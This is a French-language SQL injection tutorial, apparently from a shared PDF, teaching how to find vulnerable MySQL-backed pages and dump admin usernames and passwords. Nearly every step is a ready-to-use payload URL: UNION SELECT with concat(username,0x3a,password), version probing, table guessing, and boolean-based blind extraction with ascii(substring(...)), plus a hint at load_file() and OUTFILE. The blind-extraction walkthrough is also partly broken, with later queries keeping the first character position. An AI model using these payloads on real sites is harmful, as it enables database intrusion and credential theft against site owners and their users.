You are on page 1of 9

*** Sommaire ***

__________
Chapitre I)
__________
0) Description : SQL INJECTION.
1) Comment reconnaitre quun site est vulnrable a un SQL ?
2) Trouver le nombre de colomns.
3) Utiliser la fonction UNION.
4) Trouver la version du MySQL.
5) Trouver les noms des colomns et tables et lexploitation.
__________
Chapitre II)
__________
1) Description : Blind SQL INJECTION.
2) Comment reconnaitre quun site est vulnrable au BLIND SQL ?
3) Trouver la version du MySQL.
4) Tester si la slection marche.
5) Trouver les noms des colomns et tables et lexploitation.

>>>>>>>>>>>>>>>>>>>>>>>>>>>>

>> Passons aux choses srieuses maintenant


__________
Chapitre I)
__________
0) Description : SQL INJECTION.

Le SQL INJECTION est lune des communes les plus vulnrables


dans les applications type web de nos jours.
Il permet dexcuter la requte dans la base de donnes et davoir
grce lurl certains renseignements confidentiels et bien dautres
=============>
1) Comment reconnaitre quun site est vulnrable a un SQL ?
Commencons ce tuto en force !
Prnons un exemple dun site par exemple:
http://www.site-exemple.com/news.php?id=9
Maintenant, il faudra tester si ce site est vulnrable par SQL, cest
simple, nous ajoutons un (quote) et donc lexemple deviendra :
http://www.site-exemple.com/news.php?id=9 <= quote ajouter !
Maintenant, si vous appercevez une erreur du genre:
You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right etc
Ou une erreur de cet exemple, cela signifie que ce site est vulnrable
par SQL. ^^
=============>
2) Trouver le nombre de columns.
Pour trouver le nombre de columns , on utilisera ORDER BY qui
demande a la base un rsultat.
Donc maintenant, comment on utilise cela? Eh bien simplement
augmenter le nombre jusqu ce que nous obtenions une erreur comme
dans lexemple ci-dessous:
http://www.site-exemple.com/news.php?id=9 order by 1/* < no error

http://www.site-exemple.com/news.php?id=9 order by 2/* < no error


http://www.site-exemple.com/news.php?id=9 order by 3/* < no error
http://www.site-exemple.com/news.php?id=9 order by 4/* < error
(une erreur du genre: Unknown column 4 in order clause ou un truc
de ce genre saffichera)
Cela signifie que lon dispose de 3 colonnes, car nous avons reu une
cause derreur sur 4.
=============>
3) Utiliser la fonction UNION.
Passons aux choses un peux plus dure..
Avec la fonction UNION, nous avons la possibilit de slectionner
plusieurs donnes en un seul SQL a la fois.
Donc nous aurons:
http://www.site-exemple.com/news.php?id=9 union all select 1, 2,3/*
(nous avons deja trouver que le nombre de column est bien 3 , revoir
la section (Chapitre I , cours : 2). )
si nous voyons quelques chiffres sur lcran, cest--dire 1 ou 2 ou 3
alors lunion a fonctionn.
Si cela ne fonctionne pas , essayer de changer le /* par
=============>
4) Trouver la version du MySQL.
Disons que nous avons le numero 2 , maintenant il faudra connaitre la
version MySQL , pour cela nous allons remplacer le numero 2 par
@@version ou version() et nous aurons quelques choses du genre:
4.1.33-log or 5.0.45 ou du meme type

alors lexemple sera:


http://www.site-exemple.com/news.php?id=9 union all select
1,@@version,3/*
Bingo , la version du MySQL est devant vos yeux
=============>
5) Trouver les noms des columns et tables et lexploitation.
Maintenant si la version est < 5 ( 4.1.33, 4.1.12) , vous devez savoir
que les noms de table commun pour cette version sont: user/s ,
admin/s , member/s
pour les columns cest: username , user, usr, user_name, password,
pass, passwd, pwd .
Passons a son exploitation:
Cherchons la table dadmin:
http://www.site-exemple.com/news.php?id=9 union all select 1,2,3
from admin/*
Si vous appercevez le numero 2 , alors cela signifie que vous venez de
trouver la table dadmin et quil existe
Cherchons les noms des columns:
http://www.site-exemple.com/news.php?id=9 union all select
1,username,3 from admin/* (si vous avez une erreur ici , alors essayer
un autre nom de column)
Si nous avons le nom dutilisateur qui saffiche lcran, par exemple,
tre admin ou superadmin etc alors cest bon
Maintenant pour la column de mot de passe,

http://www.site-exemple.com/news.php?id=9 union all select


1,password,3 from admin/* (si vous avez une erreur ici , alors essayer
un autre nom de column)
Si nous avons le password a lcran du type hash ou sans, alors cest
bon, le type varie en fonction de la base de donne
Il ne reste donc plus qua les mettre ensemble avec 0x3a , qui est une
valeur de hex pour la colonne.
http://www.site-exemple.com/news.php?id=9 union all select
1,concat(username,0x3a,password),3 from admin/*
Vous allez voir quelques choses du genre:
username:password , admin:admin , admin:unhash..
=============>
=============>
__________
Chapitre II)
__________
1) Description : Blind SQL INJECTION.
Le blind se dfinit comme le sql normal sauf quil est un peu plus
dure.
=============>
2) Comment reconnaitre quun site est vulnrable au BLIND SQL ?
Prenons un exemple de:
http://www.site-exemple.com/news.php?id=9
Quand on ouvre la page , nous voyons des articles, images ou autres
Vous pouvez donc tester le blind :

http://www.site-exemple.com/news.php?id=9 and 1=1 < ceci est


toujours vrai !
Si la page se charge normalement , cest bon.
http://www.site-exemple.com/news.php?id=9 and 1=2 < ceci est
faux
Donc si quelques textes ou images ou un truc est oubli ou dformer,
alors ce site est exploitable par le blind SQL.
=============>
3) Trouver la version du MySQL.
Pour avoir la version dans le blind, nous utiliserons le substring .
http://www.site-exemple.com/news.php?id=9 and
substring(@@version,1,1)=4
Si la page saffiche normalement, alors cest une version 4.
http://www.site-exemple.com/news.php?id=9 and
substring(@@version,1,1)=5
Si la page saffiche normalement, alors cest une version 5.
=============>
4) Tester si la slection marche.
Quand le select ne marche pas, nous utiliserons donc le subselect.
Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1)=1
si la page se charge normalement, alors le subselect marche.
et si nous voulons voir si nous avons laccess au mysql.user , on fait:
Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from

mysql.user limit 0,1)=1


Si la page se charge normalement, alors nous avons access au
mysql.user et nous pourons avoir quelques mot de passe en utilisant la
fonction load_file() et OUTFILE.
=============>
5) Trouver les noms des colomns et tables et lexploitation.
Exemple:
http://www.site-exemple.com/news.php?id=9 and (select 1 from users
limit 0,1)=1
Si la page se charge normalement sans erreur alors la table users
existe.
Si vous obtenez une erreur , alors vous devez changer le users et
mettre autre chose, a vous de devinez

cest un bon jeu hein

disons que nous avons trouver la table.. maintenant nous avons besoin
du nom de la colonne..
tout comme cela du nom de table, nous commencons la devinette !!
http://www.site.com/news.php?id=5 and (select
substring(concat(1,password),1,1) from users limit 0,1)=1
Si la page se charge normalement, alors le nom de la colonne est
password.
Ainsi , nous avons la table et la colonne , exploitons
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>80
Nous continuons a changer le 80 jusqua trouver une erreur,
suivez bien lexemple:

http://www.site.com/news.php?id=5 and ascii(substring((SELECT


concat(username,0x3a,password) from users limit 0,1),1,1))>95
Nous avons eu une fois de plus un chargement normal.. on continue
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>98
Pareille, continuons
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>99
ERREURRR !!! donc le premier caractre dans username est char(99)
si vous convertisser cela en ascii nous avons la lettre c .
Maintenant cherchons le second caractre:
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),2,1))>99
Noter que je change ,1,1 a ,2,1 pour avoir le second caractre
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>99
La page se charge normalement
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>107
ERREUR nombre infrieur..
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>104
Chargement normal , lev.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT
concat(username,0x3a,password) from users limit 0,1),1,1))>105
ERREUR

donc nous savons des a prsent que le deuxieme caractre est


char(105) et que cest i , cela fera ci jusqua prsent
Faite cela en mode croissant jusqua ce que vous obtenez la fin. (si< 0
retourne faux, nous avons atteint la fin alors).

>>>>>>>>>>>>>>>>>>>>>>>>>>>>

Nous voici a la fin de ce tuto


Si vous cherchez bien sur le net , vous pourez avoir plein de
programme qui feront tout ceci , mais apprenez a le faire
manuellement, cest important